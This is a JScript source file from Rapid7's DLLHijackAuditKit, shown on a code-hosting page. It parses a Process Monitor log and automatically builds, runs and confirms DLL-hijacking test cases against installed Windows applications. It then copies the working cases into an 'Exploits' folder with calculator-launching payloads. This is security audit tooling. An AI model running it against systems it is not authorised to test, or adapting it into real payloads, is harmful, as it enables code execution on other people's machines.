Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/DLLHijackAuditKit/analyze.js
Views: 11766
/* DLLHijackAuditKit (C) 2010 Rapid7, Inc */12var oFso = new ActiveXObject("Scripting.FileSystemObject");3var oShl = new ActiveXObject("WScript.Shell");4var oCWD = oShl.CurrentDirectory + "";567function print_status(msg) {8try {9WScript.StdOut.WriteLine("[*] "+ msg);10} catch(e) {}11}1213function process_list() {14var res = new Array();15var wbemFlagReturnImmediately = 0x10;16var wbemFlagForwardOnly = 0x20;17var oWMI = GetObject("winmgmts:\\\\localhost\\root\\CIMV2");18var cPID = oWMI.ExecQuery("SELECT * FROM Win32_Process", "WQL", wbemFlagReturnImmediately | wbemFlagForwardOnly);19var enumItems = new Enumerator(cPID);20for (; !enumItems.atEnd(); enumItems.moveNext()) {21var p = enumItems.item();22if (p.ExecutablePath && p.ExecutablePath.toLowerCase().indexOf("taskmgr") != -1) continue;23res.push(p.ProcessId);24}25return res;26}2728function replace_payloads(dir, src) {29var base = oFso.GetFolder(dir);30var files = new Enumerator(base.files);31for (; !files.atEnd(); files.moveNext()) {32var entry = files.item().Name.toString().toLowerCase();33if ( entry.indexOf("exploit.") == -1) {34if (entry.toString().indexOf(".exe") != -1) {35try { oFso.CopyFile(src + "\\runcalc.exe", dir + "\\" + entry); } catch(e) { }36} else {37try { oFso.CopyFile(src + "\\runcalc.dll", dir + "\\" + entry); } catch(e) { }38}39}40}4142var subs = new Enumerator(base.SubFolders);43for (; !subs.atEnd(); subs.moveNext()) {44var entry = (subs.item() + "").toLowerCase();45replace_payloads(entry, src);46}47}484950/* Process Logfile.CSV51a) Make a list of applications and their associated DLLs52b) Create a test case for each extension and each DLL53c) Run each test case and look for "exploited.txt"54d) Copy confirmed test cases to a new directory55*/565758if (! oFso.FileExists("Logfile.CSV")) {59print_status("Please save Logfile.CSV to the current directory first");60WScript.Quit();61}6263var procs = process_list();64print_status("Protecting " + procs.length + " processes");6566var apps = new Array();67var fCSV = oFso.OpenTextFile("Logfile.CSV");68var line = fCSV.ReadLine();69var iPath = 4;70var iProc = 1;71var bits = line.split(",");7273// Determine which fields are what index74for (var i=0; i < bits.length; i++) {75if (bits[i].toLowerCase().indexOf("process name") != -1) {76iProc = i;77}78if (bits[i].toLowerCase().indexOf("path") != -1) {79iPath = i;80}81}8283// Parse the CSV into a map of each application's loads84while( ! fCSV.AtEndOfStream ) {85line = fCSV.ReadLine();86bits = line.replace(/\",/g, "\"||||").replace(/"/g, '').split("||||");8788var vApp = bits[iProc].toLowerCase();89var vPath = bits[iPath].toLowerCase();90var vExt = vPath.replace(/.*DLLAudit\\ext\\/ig, '').split("\\")[0].toLowerCase();91var vTgt = vPath.replace(/.*DLLAudit\\ext\\/ig, '').split("\\");92vTgt.shift();9394var vDll = vTgt.join("\\").toLowerCase();9596if (! apps[vApp]) apps[vApp] = new Array();97if (! apps[vApp][vExt]) apps[vApp][vExt] = new Array();98apps[vApp][vExt][vDll] = true;99}100101102print_status("Generating and validating test cases...");103try { oFso.CreateFolder(oCWD + "\\TestCases"); } catch(e) { }104try { oFso.CreateFolder(oCWD + "\\Exploits"); } catch(e) { }105106for (var tApp in apps) {107print_status(" Application: " + tApp);108109var aBase = oCWD + "\\TestCases\\" + tApp;110try { oFso.CreateFolder(aBase); } catch(e) { }111112for (var tExt in apps[tApp]) {113var eBase = aBase + "\\" + tExt;114var aExploited = new Array();115116try { oFso.CreateFolder(eBase); } catch(e) { }117for (var tDll in apps[tApp][tExt]) {118var tBits = tDll.split("\\");119var tName = tBits.pop();120var dBase = eBase + "\\" + tName;121try { oFso.CreateFolder(dBase); } catch(e) { }122123if (aExploited[tName]) continue;124125// tDll may be a subdirectory + DLL126tPath = dBase;127for (var y = 0; y < tBits.length; y++) {128tPath = tPath + "\\" + tBits[y];129try { oFso.CreateFolder(tPath); } catch(e) { }130}131tPath = tPath + "\\" + tName;132133try {134if (tName.toLowerCase().indexOf(".exe") != -1) {135oFso.CopyFile(oCWD + "\\runtest.exe", tPath);136} else {137oFso.CopyFile(oCWD + "\\runtest.dll", tPath);138}139} catch(e) { }140141// Create the actual test case file142try {143var a = oFso.CreateTextFile(dBase + "\\exploit." + tExt);144a.WriteLine("HOWDY!");145a.Close();146} catch(e) { }147148149try {150// Run the test case151oShl.CurrentDirectory = dBase;152oShl.Run("cmd.exe /c start exploit." + tExt, 0);153} catch(e) { }154WScript.Sleep(500);155156var nprocs = process_list();157var cnt = 0;158while(nprocs.length == procs.length && cnt < 2) {159cnt++;160WScript.Sleep(500);161nprocs = process_list();162}163164// If an application spawned, give it three seconds165// This helps with ProcMon memory usage as well166if (nprocs.length > procs.length) {167WScript.Sleep(3000);168}169170var killer = "taskkill /F ";171for (var i=0; i < nprocs.length; i++) {172var found = false;173for (var x=0; x < procs.length; x++) {174if (nprocs[i] == procs[x]) {175found = true;176break;177}178}179if (found) continue;180killer = killer + "/PID " + nprocs[i] + " ";181}182oShl.Run(killer, 0, true);183184// Check for the file existence185if (oFso.FileExists(dBase + "\\exploited.txt")) {186187print_status("Successfully exploited " + tApp + " with ." + tExt + " using " + tName);188aExploited[tName] = true;189var xBase = oCWD + "\\Exploits\\" + tApp + "_" + tExt + "_" + tName;190try { oFso.CreateFolder(xBase); } catch(e) { }191try { oFso.CopyFolder(dBase + "\\*.*", xBase + "\\", true); } catch(e) { }192try { oFso.CopyFile(dBase + "\\*.*", xBase + "\\", true); } catch(e) { }193try { oFso.DeleteFile(xBase + "\\exploited.txt"); } catch(e) { }194replace_payloads(xBase, oCWD);195}196197}198199}200}201202203204